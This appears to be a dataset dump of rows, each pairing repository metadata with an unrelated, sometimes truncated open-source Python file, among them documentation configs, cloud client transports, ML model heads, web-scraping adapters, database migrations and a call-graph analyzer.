] | 51 | 2019-03-14T15:12:48.000Z | 2021-08-09T03:37:48.000Z | # -*- coding: utf-8 -*-
#
# Configuration file for the Sphinx documentation builder.
#
# This file does only contain a selection of the most common options. For a
# full list see the documentation:
# http://www.sphinx-doc.org/en/master/config
# -- Path setup ------------------------------------------------------------... | 32.76 | 87 | 0.646687 |
1dc5fcb05d2e43a34a74d7edc0621456016800d6 | 8,141 | py | Python | google/cloud/compute_v1/services/packet_mirrorings/transports/base.py | LaudateCorpus1/python-compute | a36c637f153c7b4ef49bb6a78c8b09f3746e7af1 | [
"Apache-2.0"
] | null | null | null | google/cloud/compute_v1/services/packet_mirrorings/transports/base.py | LaudateCorpus1/python-compute | a36c637f153c7b4ef49bb6a78c8b09f3746e7af1 | [
"Apache-2.0"
] | null | null | null | google/cloud/compute_v1/services/packet_mirrorings/transports/base.py | LaudateCorpus1/python-compute | a36c637f153c7b4ef49bb6a78c8b09f3746e7af1 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | 35.70614 | 101 | 0.646358 |
1dc5fda78bc6f61534d5d131562eafb5e95caabc | 671 | py | Python | cadnano/views/pathview/tools/insertiontool.py | mctrinh/cadnano2.5 | d8254f24eef5fd77b4fb2b1a9642a8eea2e3c736 | [
"BSD-3-Clause"
] | 1 | 2022-03-27T14:37:32.000Z | 2022-03-27T14:37:32.000Z | cadnano/views/pathview/tools/insertiontool.py | mctrinh/cadnano2.5 | d8254f24eef5fd77b4fb2b1a9642a8eea2e3c736 | [
"BSD-3-Clause"
] | null | null | null | cadnano/views/pathview/tools/insertiontool.py | mctrinh/cadnano2.5 | d8254f24eef5fd77b4fb2b1a9642a8eea2e3c736 | [
"BSD-3-Clause"
] | 1 | 2021-01-22T02:29:38.000Z | 2021-01-22T02:29:38.000Z | """Summary
"""
from .abstractpathtool import AbstractPathTool
class InsertionTool(AbstractPathTool):
"""
docstring for InsertionTool
"""
def __init__(self, manager):
"""Summary
Args:
manager (TYPE): Description
"""
super(InsertionTool, self).__init__(manag... | 19.735294 | 67 | 0.576751 |
1dc606753cbcda006b045a0ceeea5f01eff5d777 | 204 | py | Python | setup.py | sgulyaevsky/rqt_openstf_teleop | 4c5e7bbc305e732a67890f646c0b3e5787f9a53f | [
"MIT"
] | null | null | null | setup.py | sgulyaevsky/rqt_openstf_teleop | 4c5e7bbc305e732a67890f646c0b3e5787f9a53f | [
"MIT"
] | null | null | null | setup.py | sgulyaevsky/rqt_openstf_teleop | 4c5e7bbc305e732a67890f646c0b3e5787f9a53f | [
"MIT"
] | null | null | null | from distutils.core import setup
from catkin_pkg.python_setup import generate_distutils_setup
d = generate_distutils_setup(
packages=['rqt_openstf_teleop'],
package_dir={'': 'src'},
)
setup(**d) | 22.666667 | 60 | 0.759804 |
1dc60b791afdcc7cc00f0762ec34e98fb78b2f00 | 9,756 | py | Python | rate_limiter/limiter_context.py | thehesiod/rate-limiter | 59f23d87c29f67cc34a28949b83032f249050bb2 | [
"MIT"
] | null | null | null | rate_limiter/limiter_context.py | thehesiod/rate-limiter | 59f23d87c29f67cc34a28949b83032f249050bb2 | [
"MIT"
] | 1 | 2018-05-09T23:15:26.000Z | 2018-05-09T23:15:41.000Z | rate_limiter/limiter_context.py | thehesiod/rate-limiter | 59f23d87c29f67cc34a28949b83032f249050bb2 | [
"MIT"
] | null | null | null | from contextlib import contextmanager, ExitStack
from enum import Enum
import logging
from functools import partial
import threading
from typing import Union, Callable, ContextManager, Dict, List, Tuple
from sync_rate_limiter import RateLimiter
class StrEnum(str, Enum):
pass
SECONDS_IN_MINUTE = 60
SECONDS_IN_H... | 41.871245 | 178 | 0.710845 |
1dc614f6e5466cf277ff4ae3f748f0c284e1afd5 | 1,035 | bzl | Python | pkg/tests/my_package_name.bzl | konste/rules_pkg | b5737c050f6bbc7e90895ea41602af953013cfb9 | [
"Apache-2.0"
] | null | null | null | pkg/tests/my_package_name.bzl | konste/rules_pkg | b5737c050f6bbc7e90895ea41602af953013cfb9 | [
"Apache-2.0"
] | null | null | null | pkg/tests/my_package_name.bzl | konste/rules_pkg | b5737c050f6bbc7e90895ea41602af953013cfb9 | [
"Apache-2.0"
] | null | null | null | # Copyright 2020 The Bazel Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... | 32.34375 | 74 | 0.724638 |
1dc62a52a59163adce5d2f00007fc6d67091b140 | 9,940 | py | Python | fanficfare/adapters/adapter_whoficcom.py | davidferguson/FanFicUpload | dcc3010b9c35c6d0e479cfc2aa07d951d280d9b2 | [
"Apache-2.0"
] | 1 | 2019-06-13T11:20:33.000Z | 2019-06-13T11:20:33.000Z | fanficfare/adapters/adapter_whoficcom.py | davidferguson/FanFicUpload | dcc3010b9c35c6d0e479cfc2aa07d951d280d9b2 | [
"Apache-2.0"
] | null | null | null | fanficfare/adapters/adapter_whoficcom.py | davidferguson/FanFicUpload | dcc3010b9c35c6d0e479cfc2aa07d951d280d9b2 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright 2011 Fanficdownloader team, 2015 FanFicFare team
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Un... | 41.940928 | 368 | 0.600604 |
1dc63d3929a01bd34fada3eefa57a49043abfee3 | 998 | py | Python | foolbox/models/__init__.py | alvarorobledo/foolbox | 25d995b1a50f4926e07bc51877d385c0518982f8 | [
"MIT"
] | 3 | 2020-02-10T08:48:36.000Z | 2021-02-16T08:43:32.000Z | foolbox/models/__init__.py | alvarorobledo/foolbox | 25d995b1a50f4926e07bc51877d385c0518982f8 | [
"MIT"
] | null | null | null | foolbox/models/__init__.py | alvarorobledo/foolbox | 25d995b1a50f4926e07bc51877d385c0518982f8 | [
"MIT"
] | null | null | null | """
Provides classes to wrap existing models in different framworks so
that they provide a unified API to the attacks.
"""
from .base import Model # noqa: F401
from .base import DifferentiableModel # noqa: F401
from .wrappers import ModelWrapper # noqa: F401
from .wrappers import DifferentiableModelWrapper # noq... | 38.384615 | 66 | 0.786573 |
1dc6445ea159fb50c7ac234d8bb6a8ee5aa11b9e | 790 | py | Python | src/Python3/Q106883/exsample.py | umyuu/Sample | 66e8cd725b682db4c9bf93fb80786eea8cbad19d | [
"MIT"
] | null | null | null | src/Python3/Q106883/exsample.py | umyuu/Sample | 66e8cd725b682db4c9bf93fb80786eea8cbad19d | [
"MIT"
] | null | null | null | src/Python3/Q106883/exsample.py | umyuu/Sample | 66e8cd725b682db4c9bf93fb80786eea8cbad19d | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from PIL import Image
from PIL.ExifTags import TAGS
from pathlib import Path
# JPGファイルのEXIF情報から撮影日時(DateTimeOriginal)情報を取得
def get_exif(img, field='DateTimeOriginal'):
for k, v in img._getexif().items():
if TAGS.get(k) == field:
return v
return None
def main():
... | 22.571429 | 57 | 0.587342 |
1dc6604cd858cf688e8bedd10aaa12853df2090b | 359 | py | Python | Contests/Biweekly Contest/Contest 43/1716. Calculate Money in Leetcode Bank.py | Dharaneeshwar/Leetcode | cc3ed07f6ac5f4d6e3f60c57a94a06a8be2f5287 | [
"MIT"
] | 4 | 2020-11-17T05:24:24.000Z | 2021-06-14T21:01:45.000Z | Contests/Biweekly Contest/Contest 43/1716. Calculate Money in Leetcode Bank.py | Dharaneeshwar/Leetcode | cc3ed07f6ac5f4d6e3f60c57a94a06a8be2f5287 | [
"MIT"
] | null | null | null | Contests/Biweekly Contest/Contest 43/1716. Calculate Money in Leetcode Bank.py | Dharaneeshwar/Leetcode | cc3ed07f6ac5f4d6e3f60c57a94a06a8be2f5287 | [
"MIT"
] | null | null | null | class Solution:
def totalMoney(self, n: int) -> int:
# ind = 1
amount = 0
prevmon = 0
while n:
coin = prevmon + 1
for i in range(7):
amount += coin
coin += 1
n-=1
if n==0:
r... | 25.642857 | 40 | 0.35376 |
1dc66148d8438323fa9d83c19ab9c7171db61e12 | 2,216 | py | Python | aim/sdk/adapters/tensorflow.py | admariner/aim | 4c143ea40acf3531abfa69f66503428d73d9fedc | [
"Apache-2.0"
] | 2,195 | 2020-01-23T03:08:11.000Z | 2022-03-31T14:32:19.000Z | aim/sdk/adapters/tensorflow.py | admariner/aim | 4c143ea40acf3531abfa69f66503428d73d9fedc | [
"Apache-2.0"
] | 696 | 2020-02-08T21:55:45.000Z | 2022-03-31T16:52:22.000Z | aim/sdk/adapters/tensorflow.py | admariner/aim | 4c143ea40acf3531abfa69f66503428d73d9fedc | [
"Apache-2.0"
] | 150 | 2020-03-27T10:44:25.000Z | 2022-03-21T21:29:41.000Z | from typing import Optional
from distutils.version import LooseVersion
from aim.sdk.run import Run
from aim.sdk.adapters.keras_mixins import (
get_keras_tracker_callback,
TrackerKerasCallbackMetricsEpochEndMixin,
)
class AimCallback(object):
__tf1_keras_tracker_callback_cls = None
__tf2_keras_tracker... | 32.588235 | 78 | 0.680957 |
1dc66958b96cc8c4540d2b1c123e97f6a99b34f0 | 11,582 | py | Python | mmdet/models/dense_heads/rpn_atss_head.py | Daniel-xsy/MMDet_VisDrone2021 | 668d10b61a4b99dda0163b67b093cad2e699ee3b | [
"Apache-2.0"
] | null | null | null | mmdet/models/dense_heads/rpn_atss_head.py | Daniel-xsy/MMDet_VisDrone2021 | 668d10b61a4b99dda0163b67b093cad2e699ee3b | [
"Apache-2.0"
] | null | null | null | mmdet/models/dense_heads/rpn_atss_head.py | Daniel-xsy/MMDet_VisDrone2021 | 668d10b61a4b99dda0163b67b093cad2e699ee3b | [
"Apache-2.0"
] | null | null | null | import copy
import warnings
import torch
import torch.nn as nn
import torch.nn.functional as F
from mmcv import ConfigDict
from mmcv.cnn import normal_init, Scale
from mmcv.ops import batched_nms
from ..builder import HEADS
from .atss_head import ATSSHead
@HEADS.register_module()
class RPNAtssHead(ATSSHead):
def... | 46.701613 | 106 | 0.5531 |
1dc66f1aa29d6a25357f5419c9ca24d0d9674c76 | 7,840 | py | Python | examples/2_Compliance_Queries/2-2_Material_compliance.py | pyansys/grantami-bomanalytics | b9e4956b0a1cdd67d50953caa8257b6cff34a243 | [
"MIT"
] | 2 | 2022-02-18T19:53:20.000Z | 2022-02-18T21:35:27.000Z | examples/2_Compliance_Queries/2-2_Material_compliance.py | pyansys/grantami-bomanalytics | b9e4956b0a1cdd67d50953caa8257b6cff34a243 | [
"MIT"
] | 46 | 2022-02-18T16:57:36.000Z | 2022-03-31T13:35:26.000Z | examples/2_Compliance_Queries/2-2_Material_compliance.py | pyansys/grantami-bomanalytics | b9e4956b0a1cdd67d50953caa8257b6cff34a243 | [
"MIT"
] | 1 | 2022-02-22T18:24:03.000Z | 2022-02-22T18:24:03.000Z | # ---
# jupyter:
# jupytext:
# formats: ipynb,py:light
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.13.1
# kernelspec:
# display_name: Python 3 (ipykernel)
# language: python
# name: python3
# ---
# # Performi... | 40 | 120 | 0.752934 |
1dc67ceee9c2b856f4f27d814864e190807388bb | 2,252 | py | Python | dtoolkit/transformer/factory.py | Zeroto521/my-data-toolkit | bde37f625aa81e65b97648798535f6d931864888 | [
"MIT"
] | 1 | 2021-10-09T04:50:58.000Z | 2021-10-09T04:50:58.000Z | dtoolkit/transformer/factory.py | Zeroto521/my-data-toolkit | bde37f625aa81e65b97648798535f6d931864888 | [
"MIT"
] | 427 | 2021-06-04T02:40:22.000Z | 2022-03-30T12:55:52.000Z | dtoolkit/transformer/factory.py | Zeroto521/my-data-toolkit | bde37f625aa81e65b97648798535f6d931864888 | [
"MIT"
] | 1 | 2021-07-09T09:56:44.000Z | 2021-07-09T09:56:44.000Z | from __future__ import annotations
from typing import TYPE_CHECKING
from dtoolkit.transformer.base import MethodTF
from dtoolkit.util.generic import snake_to_camel
if TYPE_CHECKING:
from typing import Callable
def methodtf_factory(
transform_method: Callable,
inverse_transform_method: Callable | None =... | 24.478261 | 79 | 0.637655 |
1dc68461a64bb49434fd275805c808b599d38098 | 2,728 | py | Python | repobee_reviewothers/reviewothers.py | repobee/repobee-reviewothers | b62e7be567ec93a727d69caf7df1464658025599 | [
"MIT"
] | null | null | null | repobee_reviewothers/reviewothers.py | repobee/repobee-reviewothers | b62e7be567ec93a727d69caf7df1464658025599 | [
"MIT"
] | 4 | 2021-06-26T15:18:58.000Z | 2021-07-12T23:50:41.000Z | repobee_reviewothers/reviewothers.py | repobee/repobee-reviewothers | b62e7be567ec93a727d69caf7df1464658025599 | [
"MIT"
] | null | null | null | """A peer review plugin which assigns one set of students to review all
other students.
Intended for student graders who are in the class for which they are grading.
Once those student graders have submitted their own work to the instructor, the
instructor can use this plugin to make the other repos in the class
avail... | 33.679012 | 95 | 0.638563 |
1dc6b3fbb26be92f3d80676d55124b2828122f12 | 636 | py | Python | tests/integration/test_deletion.py | bpark738/skil-python | 6721b17788a13bf17bc2a50ead63f591f0edb47e | [
"Apache-2.0"
] | null | null | null | tests/integration/test_deletion.py | bpark738/skil-python | 6721b17788a13bf17bc2a50ead63f591f0edb47e | [
"Apache-2.0"
] | null | null | null | tests/integration/test_deletion.py | bpark738/skil-python | 6721b17788a13bf17bc2a50ead63f591f0edb47e | [
"Apache-2.0"
] | null | null | null | import pytest
import skil
work_space = None # because number of workspaces is limited
_sk = None
def _get_sk():
global _sk
if _sk is None:
_sk = skil.Skil()
return _sk
def _get_ws():
global work_space
if work_space is not None:
return work_space
sk = _get_sk()
work_spa... | 16.307692 | 60 | 0.65566 |
1dc6cfc0af3f43b130a22ae4004bb5fea9596b16 | 3,110 | py | Python | parlai/tasks/convai2/agents.py | odemasi/ParlAI | eb8e468b21b5241522e068fe641758d6df23b564 | [
"MIT"
] | null | null | null | parlai/tasks/convai2/agents.py | odemasi/ParlAI | eb8e468b21b5241522e068fe641758d6df23b564 | [
"MIT"
] | null | null | null | parlai/tasks/convai2/agents.py | odemasi/ParlAI | eb8e468b21b5241522e068fe641758d6df23b564 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from parlai.core.teachers import FbDialogTeacher
from parlai.core.utils import warn_once
from .build import build
impor... | 29.619048 | 79 | 0.645338 |
1dc6d58152d976fbaa41c4f4a602467908f4cb33 | 3,600 | py | Python | action_plugins/dcos_iam_group.py | dirkjonker/ansible-dcos | 3b0d3cf625f70df96e8f7af59622c5416282597c | [
"Apache-2.0"
] | 3 | 2018-02-19T09:07:52.000Z | 2018-02-21T14:38:10.000Z | action_plugins/dcos_iam_group.py | dirkjonker/ansible-dcos | 3b0d3cf625f70df96e8f7af59622c5416282597c | [
"Apache-2.0"
] | 1 | 2018-06-14T13:15:37.000Z | 2022-03-08T22:16:10.000Z | action_plugins/dcos_iam_group.py | dirkjonker/ansible-dcos | 3b0d3cf625f70df96e8f7af59622c5416282597c | [
"Apache-2.0"
] | null | null | null | """
Action plugin to manipulate users on a DC/OS enterprise cluster.
"""
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from ansible.errors import AnsibleActionFail
from ansible.plugins.action import ActionBase
try:
import dcos.security.iam as iam
from dcos.errors imp... | 33.027523 | 77 | 0.605833 |
1dc6edafcb37f874ca11a8107c669a950982c3e5 | 5,318 | py | Python | migrations/versions/829ec04c56bf_.py | dr-yali/Bone-MRI | 54c50b2da26190575ad0913f715bc15a7dbd857f | [
"MIT"
] | null | null | null | migrations/versions/829ec04c56bf_.py | dr-yali/Bone-MRI | 54c50b2da26190575ad0913f715bc15a7dbd857f | [
"MIT"
] | null | null | null | migrations/versions/829ec04c56bf_.py | dr-yali/Bone-MRI | 54c50b2da26190575ad0913f715bc15a7dbd857f | [
"MIT"
] | null | null | null | """empty message
Revision ID: 829ec04c56bf
Revises:
Create Date: 2021-01-31 22:41:36.391018
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '829ec04c56bf'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto gene... | 46.243478 | 72 | 0.677886 |
1dc7161dfb004ee97371ba7526dcdadddffe31f5 | 6,532 | py | Python | nimare/tests/test_ibma.py | puckr/NiMARE | 3a3e5edd5d66048bfbe140077fc2c76ef639690f | [
"MIT"
] | null | null | null | nimare/tests/test_ibma.py | puckr/NiMARE | 3a3e5edd5d66048bfbe140077fc2c76ef639690f | [
"MIT"
] | null | null | null | nimare/tests/test_ibma.py | puckr/NiMARE | 3a3e5edd5d66048bfbe140077fc2c76ef639690f | [
"MIT"
] | null | null | null | """
Test nimare.meta.ibma (image-based meta-analytic algorithms).
"""
import json
import os.path as op
import pytest
import numpy as np
import nibabel as nib
from nilearn.masking import apply_mask
import nimare
from nimare.meta import ibma
from nimare.tests.utils import get_test_data_path, download_nidm_pain
@pytes... | 30.523364 | 85 | 0.620484 |
1dc7582921e014a27266155f69bbbcaa8f00eff7 | 3,250 | py | Python | bbavectors/app/object_detection.py | esgario/BBAVectors-Oriented-Object-Detection | 3d0e5bb5c12fb52558bd5daf61d9a9528d94bd39 | [
"MIT"
] | null | null | null | bbavectors/app/object_detection.py | esgario/BBAVectors-Oriented-Object-Detection | 3d0e5bb5c12fb52558bd5daf61d9a9528d94bd39 | [
"MIT"
] | null | null | null | bbavectors/app/object_detection.py | esgario/BBAVectors-Oriented-Object-Detection | 3d0e5bb5c12fb52558bd5daf61d9a9528d94bd39 | [
"MIT"
] | 1 | 2021-07-16T17:14:20.000Z | 2021-07-16T17:14:20.000Z | import os
import cv2
import time
import torch
import numpy as np
from collections import defaultdict
from tqdm import tqdm
from bbavectors.configs import load_config
from bbavectors.datasets.base import BaseDataset
from bbavectors.func_utils import non_maximum_suppression
from bbavectors.app.utils import (
decode_p... | 30.952381 | 78 | 0.601846 |
1dc764861ab0aa5ac8938a508dc77a82996dd0f1 | 8,638 | py | Python | python/dgl/data/sbm.py | jinghuix/dgl | fae26dd15caac92458a08ad34889086e1e333ddd | [
"Apache-2.0"
] | 1 | 2019-03-18T03:33:04.000Z | 2019-03-18T03:33:04.000Z | python/dgl/data/sbm.py | jinghuix/dgl | fae26dd15caac92458a08ad34889086e1e333ddd | [
"Apache-2.0"
] | null | null | null | python/dgl/data/sbm.py | jinghuix/dgl | fae26dd15caac92458a08ad34889086e1e333ddd | [
"Apache-2.0"
] | 1 | 2021-03-09T12:42:46.000Z | 2021-03-09T12:42:46.000Z | """Dataset for stochastic block model."""
import math
import random
import os
import numpy as np
import numpy.random as npr
import scipy as sp
from .dgl_dataset import DGLDataset
from ..convert import graph as dgl_graph
from .. import batch
from .utils import save_info, save_graphs, load_info, load_graphs
def sbm(n... | 35.842324 | 113 | 0.601065 |
1dc7d5de233cab651c3ec8de67c3b895a15cb626 | 3,900 | py | Python | dejavu/database_handler/mongo_database.py | ATheCoder/dejavu | 12e0ce3e04f608e0bba9230b40cf34a525425ff0 | [
"MIT"
] | null | null | null | dejavu/database_handler/mongo_database.py | ATheCoder/dejavu | 12e0ce3e04f608e0bba9230b40cf34a525425ff0 | [
"MIT"
] | null | null | null | dejavu/database_handler/mongo_database.py | ATheCoder/dejavu | 12e0ce3e04f608e0bba9230b40cf34a525425ff0 | [
"MIT"
] | 1 | 2020-11-17T10:15:04.000Z | 2020-11-17T10:15:04.000Z | import pymongo
from dejavu.base_classes.base_database import BaseDatabase
from typing import Dict, List, Tuple
class MongoDatabase(BaseDatabase):
def __init__(self, **options):
super().__init__()
self.options = options
def setup(self):
self.client = pymongo.MongoClient(self.options.get... | 39 | 124 | 0.617692 |
1dc7db2e5a5a185fa96b9d3e32de4ca302b72d36 | 399 | py | Python | test/utils/find_wheel.py | viourr/fyeah | 8f692aa41fc913e309c75aad425549f1e4c01a57 | [
"BSD-3-Clause"
] | 10 | 2020-02-10T23:41:27.000Z | 2022-03-10T22:58:24.000Z | test/utils/find_wheel.py | viourr/fyeah | 8f692aa41fc913e309c75aad425549f1e4c01a57 | [
"BSD-3-Clause"
] | 2 | 2020-04-30T03:57:50.000Z | 2021-09-15T12:43:41.000Z | test/utils/find_wheel.py | viourr/fyeah | 8f692aa41fc913e309c75aad425549f1e4c01a57 | [
"BSD-3-Clause"
] | 2 | 2020-02-11T00:02:27.000Z | 2022-03-21T12:22:16.000Z | #! /usr/bin/env python
import os
import sys
from pip._internal.models.target_python import TargetPython
search_dir = sys.argv[1] if len(sys.argv) > 1 else './dist/'
wheels = os.listdir(search_dir)
for tag in TargetPython().get_tags():
for wheel in wheels:
if str(tag) in wheel:
print(os.path.j... | 22.166667 | 60 | 0.651629 |
1dc866df4dca248b31d9c1c24247a4cf3f2cc0bc | 5,471 | py | Python | krllint/reporter.py | d4nuu8/krlcodestyle | 2f9376cdae14c201364d9c31b4c19a8ff2f708d2 | [
"MIT"
] | 6 | 2018-12-04T23:21:53.000Z | 2021-07-01T01:24:38.000Z | krllint/reporter.py | d4nuu8/krlcodestyle | 2f9376cdae14c201364d9c31b4c19a8ff2f708d2 | [
"MIT"
] | null | null | null | krllint/reporter.py | d4nuu8/krlcodestyle | 2f9376cdae14c201364d9c31b4c19a8ff2f708d2 | [
"MIT"
] | 3 | 2020-03-09T04:25:27.000Z | 2021-11-15T18:42:35.000Z | # -*- coding: utf-8 -*-
from abc import ABC, abstractmethod
from collections import namedtuple
from enum import Enum
class Category(Enum):
CONVENTION = 1
REFACTOR = 2
WARNING = 3
ERROR = 4
FATAL = 5
SEPERATOR = 6
Message = namedtuple(
"Message", ["category", "code", "line_number", "colu... | 24.533632 | 79 | 0.593859 |
1dc887adc05d8020061f469c113f6d58506b6f9a | 483 | py | Python | settings.py | stardust85/Office365-REST-Python-Client | cd369c607c7d137a000734e9c5e8f03ae3e3c603 | [
"MIT"
] | null | null | null | settings.py | stardust85/Office365-REST-Python-Client | cd369c607c7d137a000734e9c5e8f03ae3e3c603 | [
"MIT"
] | null | null | null | settings.py | stardust85/Office365-REST-Python-Client | cd369c607c7d137a000734e9c5e8f03ae3e3c603 | [
"MIT"
] | null | null | null | import os
secure_vars = os.environ['Office365_Python_Sdk_SecureVars'].split(';')
settings = {
'url': 'https://mediadev8.sharepoint.com/',
'tenant': 'mediadev8.onmicrosoft.com',
'redirect_url': 'https://github.com/vgrem/Office365-REST-Python-Client/',
'user_credentials': {
'username': secure_va... | 26.833333 | 77 | 0.635611 |
1dc8bc5218550c1c326240d14a53fd338e40cc08 | 79,399 | py | Python | testing_tool/my_tool/code_extraction/pyan/analyzer.py | george1459/ICSE2022_158 | f8bb797fc003f11485d3552f81cc7b8ba8a22b9b | [
"BSD-2-Clause"
] | 1 | 2022-03-07T03:38:09.000Z | 2022-03-07T03:38:09.000Z | testing_tool/my_tool/code_extraction/pyan/analyzer.py | george1459/ICSE2022_158 | f8bb797fc003f11485d3552f81cc7b8ba8a22b9b | [
"BSD-2-Clause"
] | null | null | null | testing_tool/my_tool/code_extraction/pyan/analyzer.py | george1459/ICSE2022_158 | f8bb797fc003f11485d3552f81cc7b8ba8a22b9b | [
"BSD-2-Clause"
] | 1 | 2022-01-12T05:30:40.000Z | 2022-01-12T05:30:40.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The AST visitor."""
import ast
import logging
import symtable
from typing import Union
from .anutils import (
ExecuteInInnerScope,
Scope,
UnresolvedSuperCallError,
format_alias,
get_ast_node_name,
get_module_name,
resolve_method_resolution_... | 44.858192 | 120 | 0.588622 |
1dc8f8f2cba9eca4c1bc81674e16b87d7ec3bade | 446 | py | Python | subciphers.py | abkumarggn/python-learning-1 | df45396cd14f5762053728760953b3806d0069b6 | [
"Apache-2.0"
] | null | null | null | subciphers.py | abkumarggn/python-learning-1 | df45396cd14f5762053728760953b3806d0069b6 | [
"Apache-2.0"
] | null | null | null | subciphers.py | abkumarggn/python-learning-1 | df45396cd14f5762053728760953b3806d0069b6 | [
"Apache-2.0"
] | null | null | null | import string
dict={}
data=""
file=open("file12.txt","w")
for i in range(len(string.ascii_letters)):
dict[string.ascii_letters[i]]=string.ascii_letters[i-1]
print(dict)
with open("file11.txt") as f:
while True:
c=f.read(1)
if not c:
print("End of file")
break
if ... | 21.238095 | 59 | 0.547085 |
1dc913639ac356b846c6d61984e966e2fdee4cf9 | 16,750 | py | Python | mediapipe/graphs/object_detection_3d/calculators/annotation_data_pb2.py | mengfu188/simple-mediapipe | 85dc8a87c9586312c2d057ad587bfccf3b5e2eb6 | [
"Apache-2.0"
] | 5 | 2021-01-01T11:02:41.000Z | 2022-03-11T19:44:29.000Z | mediapipe/graphs/object_detection_3d/calculators/annotation_data_pb2.py | mengfu188/simple-mediapipe | 85dc8a87c9586312c2d057ad587bfccf3b5e2eb6 | [
"Apache-2.0"
] | null | null | null | mediapipe/graphs/object_detection_3d/calculators/annotation_data_pb2.py | mengfu188/simple-mediapipe | 85dc8a87c9586312c2d057ad587bfccf3b5e2eb6 | [
"Apache-2.0"
] | 1 | 2021-04-12T05:59:46.000Z | 2021-04-12T05:59:46.000Z | # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: mediapipe/graphs/object_detection_3d/calculators/annotation_data.proto
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection... | 44.195251 | 1,393 | 0.772358 |
1dc96b9adbb9e21b3298fe64b91ac6e67b85ebbf | 2,651 | py | Python | test/azure/legacy/Expected/AcceptanceTests/HeadWithAzureKeyCredentialPolicy/headwithazurekeycredentialpolicy/aio/_configuration.py | cfculhane/autorest.python | 8cbca95faee88d933a58bbbd17b76834faa8d387 | [
"MIT"
] | null | null | null | test/azure/legacy/Expected/AcceptanceTests/HeadWithAzureKeyCredentialPolicy/headwithazurekeycredentialpolicy/aio/_configuration.py | cfculhane/autorest.python | 8cbca95faee88d933a58bbbd17b76834faa8d387 | [
"MIT"
] | null | null | null | test/azure/legacy/Expected/AcceptanceTests/HeadWithAzureKeyCredentialPolicy/headwithazurekeycredentialpolicy/aio/_configuration.py | cfculhane/autorest.python | 8cbca95faee88d933a58bbbd17b76834faa8d387 | [
"MIT"
] | 1 | 2022-03-28T08:58:03.000Z | 2022-03-28T08:58:03.000Z | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | 53.02 | 118 | 0.71407 |
1dc990ad4d7ed517afe6c0812544ec5e8a7d9fd7 | 33,588 | py | Python | tridesclous/online/onlinewindow.py | rbodo/tridesclous | 86f58eb8f076698245786c75e906514c7a914e48 | [
"MIT"
] | 1 | 2021-04-13T15:10:13.000Z | 2021-04-13T15:10:13.000Z | tridesclous/online/onlinewindow.py | rbodo/tridesclous | 86f58eb8f076698245786c75e906514c7a914e48 | [
"MIT"
] | null | null | null | tridesclous/online/onlinewindow.py | rbodo/tridesclous | 86f58eb8f076698245786c75e906514c7a914e48 | [
"MIT"
] | null | null | null | import os, sys
import time
import shutil
import datetime
import numpy as np
from ..gui import QT
import pyqtgraph as pg
from pyqtgraph.util.mutex import Mutex
import pyacq
from pyacq.core import WidgetNode, InputStream, ThreadPollInput
#~ from pyacq.core.stream.arraytools import make_dtype
from pyacq.rec import RawR... | 39.985714 | 139 | 0.623616 |
1dc9a84d3c4030a6ee9e44ba8c6752d30fa79da8 | 943 | py | Python | var/spack/repos/builtin/packages/r-formula/package.py | kehw/spack | 4f49b1a9301447a8cf880c99820cad65e5c2d7e3 | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | 2 | 2020-09-10T22:50:08.000Z | 2021-01-12T22:18:54.000Z | var/spack/repos/builtin/packages/r-formula/package.py | kehw/spack | 4f49b1a9301447a8cf880c99820cad65e5c2d7e3 | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | 11 | 2021-01-08T22:23:53.000Z | 2022-03-30T11:08:17.000Z | var/spack/repos/builtin/packages/r-formula/package.py | kehw/spack | 4f49b1a9301447a8cf880c99820cad65e5c2d7e3 | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | null | null | null | # Copyright 2013-2021 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class RFormula(RPackage):
"""Infrastructure for extended formulas with multiple parts on the ri... | 41 | 95 | 0.751856 |
1dc9b0aedd11f2c87dd3a500f0e0c7299a062c07 | 4,363 | py | Python | unifier/apps/core/management/commands/supermangas.py | sosolidkk/manga-unifier | 4cca148affbb197b9284d46ef04c66d42d96c03a | [
"MIT"
] | 6 | 2021-03-25T14:55:36.000Z | 2021-05-25T15:12:41.000Z | unifier/apps/core/management/commands/supermangas.py | sosolidkk/manga-unifier | 4cca148affbb197b9284d46ef04c66d42d96c03a | [
"MIT"
] | 6 | 2021-02-19T12:32:26.000Z | 2021-03-25T16:54:40.000Z | unifier/apps/core/management/commands/supermangas.py | sosolidkk/manga-unifier | 4cca148affbb197b9284d46ef04c66d42d96c03a | [
"MIT"
] | null | null | null | import logging
import requests
from bs4 import BeautifulSoup
from bs4.element import ResultSet, Tag
from django.core.management.base import BaseCommand
from requests.models import Response
from rest_framework import status
